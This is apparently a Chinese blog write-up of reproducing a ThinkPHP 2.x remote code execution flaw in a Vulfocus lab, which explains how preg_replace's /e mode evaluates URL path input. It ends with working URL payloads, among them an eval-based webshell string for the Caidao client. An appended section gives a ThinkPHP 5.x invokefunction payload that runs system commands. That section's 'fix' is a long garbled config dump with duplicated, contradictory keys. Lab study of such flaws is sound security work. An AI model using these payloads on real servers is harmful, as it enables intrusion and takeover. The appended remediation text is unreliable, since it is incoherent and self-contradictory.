thinkphp-2x-rce 代码执行[VULFOCUS]

注:此篇大部分是转载,只是照着大佬的流程复现了一遍

目录

  0x01 漏洞背景
  0x02 受影响版本
  0x03 漏洞复现
    preg_replace()
    find、grep、xargs
    Dispatcher.class.php
    preg_replace产生漏洞原理
    implode()

0x01 漏洞背景

ThinkPHP框架 - 是由上海顶想公司开发维护的MVC结构的开源PHP框架,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。 ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞

0x02 受影响版本

ThinkPHP 2.x
ThinkPHP3.0版本因为Lite模式下没有修复该漏洞,也存在
PHP 5.2~5.6

0x03 漏洞复现

转载自:ThinkPHP系列漏洞之ThinkPHP 2.x 任意代码执行
转载自:ThinkPHP2-RCE漏洞复现

在ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

先看preg_replace
1️⃣preg_replace()

preg_replace(pattern,replacement,subject)
参数释义
pattern正则表达式
replacement替换的字符
subject要替换的对象

正则表达式后的e

e配合函数preg_replace()使用,可以把匹配来的字符串当作正则表达式执行;
/e可执行模式,此为PHP专有参数

1️⃣

<?php
$a = "abc";
$b = "aaaachummercaaaa";
echo preg_replace("/c(.+?)c/e",$a,$b);
?>

注意此处PHP版本要选择PHP5.2-5.6版本,/e才能完成正则替换,5.7之后版本无法完成正则替换

在这里插入图片描述

2️⃣

如果$a可控

<?php
$a = 'print_r("AAA");';
$b = "aaaac123caaaa";
echo preg_replace("/c(.+?)c/e",$a,$b);
?>

在这里插入图片描述

为什么替换出会有一个1我也没搞懂,感觉像是表示在哪替换的

由此可见,在采用/e参数时,会自动执行replacement

2️⃣find、grep、xargs

搜索一下:

docker ps
docker exec -it ID /bin/bash
cd /var/www/htnl
find . -name ‘*.php’ | xargs grep -n ‘preg_replace’

find

在linux目录下,当需要找某个文件或者目录时使用
find pathname -options [-print -exec -ok…]
.
pathname,.表示当前目录及子目录
-name
按文件或目录名来进行查找

grep与xargs

grep查找某个文件内容中存在某个关键字preg_replace
单纯使用findgrep时,搜索的是文件名中含有preg_replace的文件
加上xargs时才会搜索,文件内容中含有grep_replace关键字的.php文件

漏洞描述的存在漏洞的代码为:

在这里插入图片描述

./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102:            $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

3️⃣Dispatcher.class.php

在这里插入图片描述

源码注释得知,这个是是thinkphp内置的Dispacher类,用来完成URL解析、路由和调度

此类下有如下方法:

static public function dispatch() URL映射到控制器
public static function getPathInfo()  获得服务器的PATH_INFO信息
static public function routerCheck() 路由检测
static private function parseUrl($route)
static private function getModule($var) 获得实际的模块名称
static private function getGroup($var) 获得实际的分组名称

漏洞存在在
static public function dispatch() URL映射到控制器

在这里插入图片描述
url映射控制器
这个东西作用就是
前端用户输入相应的URL,这个方法将路径重定向到相应的模块,来实现相应的功能

以下转自ThinkPHP教程_PHP框架之ThinkPHP(二)【URL路径访问与模块控制器、URL四种模式、PATHINFO的两种模式、模板与控制器之间的关系】

thinkphp所有的主入口文件默认访问index控制器(模块)
thinkphp所有的控制器默认执行index动作(方法)

以下转自URL访问

Thinkphp5.1在没有定义路由的情况下典型的URL访问规则是:
http://serverName/index.php(或者其他应用入口文件)/模块/控制器/操作/[参数名/参数值…]
如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
http://serverName/index.php(或者其他应用入口文件)?s=/模块/控制器/操作/[参数名/参数值…]

// 分析PATHINFO信息
self::getPathInfo();

if(!self::routerCheck()){   // 检测路由规则 如果没有则按默认规则调度URL
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$var  =  array();
if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
// 禁止直接访问分组
exit;
}
}
if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')]  =   array_shift($paths);
}
$var[C('VAR_ACTION')]  =   array_shift($paths);
// 解析剩余的URL参数
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$_GET   =  array_merge($var,$_GET);
}
if(!self::routerChek())

首先是没有路由规则,所以函数安装默认规则调度URL

4️⃣preg_replace产生漏洞原理

代码01

<?php
function test($str)
{
    echo "This func is run  $str .";
}

$a='GoodGoodStudy';
$b='[bbbaaahelloworldaaabbb]';

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

运行结果:

[bbbGoodGoodStudybbb]

在这里插入图片描述
就是正常的正则替换

/ies
i
忽略大小写
s
可以匹配换行符

代码02

<?php
function test($str)
{
    echo "This func is run  $str .";
}

$a='test()';
$b='[bbbaaahelloworldaaabbb]';

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

运行结果:

This func is run   .[bbbbbb]

在这里插入图片描述

此代码先执行了$a中的test()函数,但并没有传值给test()

代码03

<?php
function test($str)
{
    echo "This func is run  $str .";
}

$a='test("\1")';
$b='[bbbaaahelloworldaaabbb]';

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

运行结果:

This func is run  helloworld .[bbbbbb]

在这里插入图片描述

加了"\1",发现传参是helloword,为什么,我不知道

但我们看一下流程

1️⃣通过正则表达式得到符合条件的内容
2️⃣将正则匹配到的内容中(.+?)传递给$a中的test()方法
3️⃣优先执行$a中的test()方法
4️⃣最后进行正则替换

代码04

<?php
function test($str)
{
    echo "This func is run  $str .";
}

$a='test("\1")';
$b='aaa$daaa';
$c='aaa$eaaa';
$d="CXK";
$e=phpversion();

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);
echo "\n";
echo preg_replace("/aaa(.+?)aaa/ies",$a,$c);

运行结果:

This func is run  CXK .
This func is run  5.2.17 .

在这里插入图片描述

在PHP中,${}可以构造一个变量
如果{}内是一般字符,就会被当成变量,如${a},等价于$a
如果{}内是一个已知函数名,则函数就会被执行

代码04

<?php

echo phpversion();
echo "\n";

$a = "CXK";

echo "aaaaa{${a}}aaaaaa";
echo "\n";

echo "aaaaa${phpversion()}aaaaaa";

运行结果:

7.0.0

Notice: Use of undefined constant a - assumed 'a' in /home/user/scripts/code.php on line 8
aaaaaCXKaaaaaa

Notice: Undefined variable: 7.0.0 in /home/user/scripts/code.php on line 11
aaaaaaaaaaa

在这里插入图片描述

代码虽然报错,但仍然是执行了

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

我们继续回到源码,我们可控的位置是implode($depr,$paths)

5️⃣implode()

implode()方法将数组转换为字符串

implode(separator,array)

参数释义
separator间隔符,默认是""(空)
array数组

例:

<?php
$arr = array('Hello','World!','Beautiful','Day!');
echo implode(" ",$arr)."<br>";

运行结果:

在这里插入图片描述

继续看源码:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
'$var[\'\\1\1']="\\2";'	是对一个数组操作
(\w+)\/([^\/\/])	是正则表达式

看一下相关例子

<?php
$var = array();
$a='$var[\'\\1\']="\\2";';
$b='a/b/c/d/e/f';
preg_replace("/(\w+)\/([^\/\/])/ies",$a,$b);

print_r($var);

运行结果:

Array
(
    [a] => b
    [c] => d
    [e] => f
)

先看正则表达式:

(\w+)\/([^\/\/])

()值提取匹配的字符串,有几个括号就代表有几个匹配的字符串,看结果我们就知道,我们的目的是将分别提取出来,所有有两个(),一个匹配,一个匹配
1️⃣:(\w+)
\w是匹配中文,下划线,数字,英文
+
+是匹配一次或无限次
2️⃣:\/
匹配中间的/
3️⃣:([^\/\/])
[]是定义匹配的范围
^[]内时是非的意思
这里意思就是匹配非[//]的字符,为什么写两个/,没搞懂

'$var[\'\\1\1']="\\2";'

这里是因为要转义
转义完成执行时应该是这样

'$var['\1']="\2";'

这个\1\2对应的就是我们正则匹配提取到的第一个位置(\w+)和第二位置([^\/\/])

1️⃣代码可执行的位置只能为,而非
2️⃣数组 v a r 在路径存在模块和动作时, ‘ 会去除掉前 2 个值 ‘ : t h r e e : 而数组 var在路径存在模块和动作时,`会去除掉前2个值` :three:而数组 var在路径存在模块和动作时,会去除掉前2个值:three:而数组var来自于$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));

所有我们可以构造如下参数

/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}
....

以及能直连菜刀的paylaod:

/index.php?s=a/b/c/${@print(eval($_POST[1]))}
  • 4
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
漏洞描述: ThinkPHP是一款快速、简单的PHP开发框架,该框架在处理某些特定情况下的输入时存在代码执行漏洞。攻击者可以通过构造恶意的输入数据,利用该漏洞执行任意代码,从而控制服务器。 漏洞影响: ThinkPHP 5.0.x - 5.0.18 版本 ThinkPHP 5.1.x - 5.1.0-beta.5 版本 漏洞利用: 攻击者可以通过在URL中添加参数,或者在POST请求中添加参数,来触发该漏洞。下面是一个简单的例子: http://example.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami 漏洞修复: 1.升级到最新版本的ThinkPHP 2.禁用动态调用方法 在config.php文件中添加以下配置: 'APP_DEBUG' => false, 'APP_USE_NAMESPACE' => true, 'DEFAULT_FILTER' => 'htmlspecialchars', 'DEFAULT_CONTROLLER' => 'index', 'URL_CASE_INSENSITIVE' => true, 'URL_MODEL' => '2', 'URL_PATHINFO_DEPR' => '/', 'URL_ROUTER_ON' => true, 'URL_ROUTE_RULES' => array( ), 'DEFAULT_MODULE' => 'index', 'URL_HTML_SUFFIX' => '.html', 'APP_AUTOLOAD_PATH' => '@.TagLib', 'APP_AUTOLOAD_LAYER' => 'Controller,Model', 'APP_AUTOLOAD_PATH' => '@.TagLib', 'APP_AUTOLOAD_LAYER' => 'Controller,Model', 'DEFAULT_FILTER' => 'htmlspecialchars', 'DEFAULT_TIMEZONE' => 'Asia/Shanghai', 'TMPL_ACTION_ERROR' => APP_PATH . 'Tpl/error.tpl', 'TMPL_ACTION_SUCCESS' => APP_PATH . 'Tpl/success.tpl', 'DEFAULT_AJAX_RETURN' => 'JSON', 'TOKEN_ON' => true, 'TOKEN_NAME' => '__hash__', 'TOKEN_TYPE' => 'md5', 'TOKEN_RESET' => true, 'VAR_FILTERS' => 'htmlspecialchars', 'SESSION_AUTO_START' => true, 'DEFAULT_LANG' => 'zh-cn', 'APP_GROUP_LIST' => 'Home,Admin', 'APP_GROUP_MODE' => 1, 'APP_GROUP_PATH' => 'Modules', 'AUTOLOAD_PATH' => 'Think.Util', 'APP_TAGS_ON' => true, 'APP_SUB_DOMAIN_DEPLOY' => false, 'APP_SUB_DOMAIN_RULES' => array(), 'OUTPUT_ENCODE' => false, 'COOKIE_EXPIRE' => 0, 'COOKIE_DOMAIN' => '', 'COOKIE_PATH' => '/', 'COOKIE_PREFIX' => '', 'URL_PARAMS_BIND' => true, 'URL_404_REDIRECT' => '', 'DB_TYPE' => 'mysql', 'DB_HOST' => '127.0.0.1', 'DB_NAME' => 'thinkphp', 'DB_USER' => 'root', 'DB_PWD' => '', 'DB_PORT' => '3306', 'DB_PREFIX' => 'tp_', 'DB_FIELDTYPE_CHECK' => false, 'DB_FIELDS_CACHE' => true, 'DB_CHARSET' => 'utf8', 'DB_DEBUG' => true, 'DB_LITE' => false, 'DB_DEPLOY_TYPE' => 0, 'DB_RW_SEPARATE' => false, 'DB_MASTER_NUM' => 1, 'DB_SLAVE_NO' => '', 'DB_SQL_BUILD_CACHE' => false, 'DB_SQL_BUILD_LENGTH' => 20, 'TIME_ZONE' => 'PRC', 'SHOW_PAGE_TRACE' => false, 'LOG_RECORD' => true, 'LOG_TYPE' => 'File', 'LOG_LEVEL' => 'EMERG,ALERT,CRIT,ERR', 'LOG_FILE_SIZE' => 2097152, 'LOG_EXCEPTION_RECORD' => false, 'LOG_AUTO_RECORD' => true, 'SESSION_OPTIONS' => array(), 'SESSION_TYPE' => '', 'SESSION_PREFIX' => 'think', 'SESSION_EXPIRE' => 3600, 'SESSION_TABLE' => '', 'SESSION_COOKIE_NAME' => '', 'SESSION_AUTO_START' => true, 'SESSION_GC_DIVISOR' => 10000, 'SESSION_GC_MAXLIFETIME' => 1440, 'SESSION_DOMAIN' => '', 'SESSION_PATH' => '/', 'SESSION_SECURE' => false, 'SESSION_HTTPONLY' => true, 'VAR_SESSION_ID' => 'session_id', 'CACHE_TYPE' => 'File', 'CACHE_EXPIRE' => 0, 'CACHE_PREFIX' => '', 'CACHE_PATH' => TEMP_PATH, 'CACHE_FILE_SUFFIX' => '.php', 'CACHE_SERIALIZE' => true, 'CACHE_CHECK' => false, 'TMPL_CACHE_ON' => true, 'TMPL_CACHE_PREFIX' => '', 'TMPL_CACHE_TIME' => 0, 'TMPL_CACHE_PATH' => CACHE_PATH, 'TMPL_CACHE_FILE_SUFFIX' => '.php', 'TMPL_CACHE_FILE_EXT' => '.php', 'TMPL_CACHE_CHECK' => true, 'TMPL_EXCEPTION_FILE' => THINK_PATH . 'Tpl/think_exception.tpl', 'TMPL_ACTION_ERROR' => APP_PATH . 'Tpl/error.tpl', 'TMPL_ACTION_SUCCESS' => APP_PATH . 'Tpl/success.tpl', 'TMPL_DETECT_THEME' => false, 'TMPL_TEMPLATE_SUFFIX' => '.html', 'TMPL_ENGINE_TYPE' => 'Think', 'TMPL_CACHFILE_SUFFIX' => '.php', 'TMPL_DENY_FUNC_LIST' => 'echo,exit', 'TMPL_DENY_PHP' => false, 'TMPL_L_DELIM' => '{', 'TMPL_R_DELIM' => '}', 'TMPL_VAR_IDENTIFY' => 'array', 'TMPL_STRIP_SPACE' => true, 'TMPL_CACHE_ON' => false, 'TMPL_LAYOUT_ITEM' => '{__CONTENT__}', 'TMPL_CONTENT_TYPE' => 'text/html', 'TMPL_ACTION_ERROR' => APP_PATH . 'Tpl/error.tpl', 'TMPL_ACTION_SUCCESS' => APP_PATH . 'Tpl/success.tpl', 'LANG_SWITCH_ON' => false, 'LANG_AUTO_DETECT' => true, 'LANG_LIST' => 'zh-cn', 'VAR_LANGUAGE' => 'l', 'LANG_AUTO_REDIRECT' => false, 'TEMPLATE_CHARSET' => 'utf-8', 'COOKIE_HTTPONLY' => '', 'SECURE_FILTER' => '', 'CRYPT_TYPE' => 'Think', 'AUTH_KEY' => 'AuthKey', 'SECURITY_KEY' => 'SecurityKey', 'TOKEN_ON' => false, 'TOKEN_NAME' => '__hash__', 'TOKEN_TYPE' => 'md5', 'TOKEN_RESET' => true, 'TOKEN_CRYPT' => false, 'VAR_FILTERS' => '', 'DEFAULT_MODULE' => 'Home', 'DEFAULT_ACTION' => 'index', 'DEFAULT_THEME' => '', 'THEME_LIST' => '', 'THEME_DEFAULT' => '', 'THEME_ON' => false, 'THEME_FILE_SUFFIX' => '.html', 'THEME_TEMPLATE_SUFFIX' => '.html', 'THEME_TEMPLATE_PREFIX' => '', 'THEME_TEMPLATE_SUFFIX' => '.html', 'THEME_TEMPLATE_SEPARATOR' => '_',
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值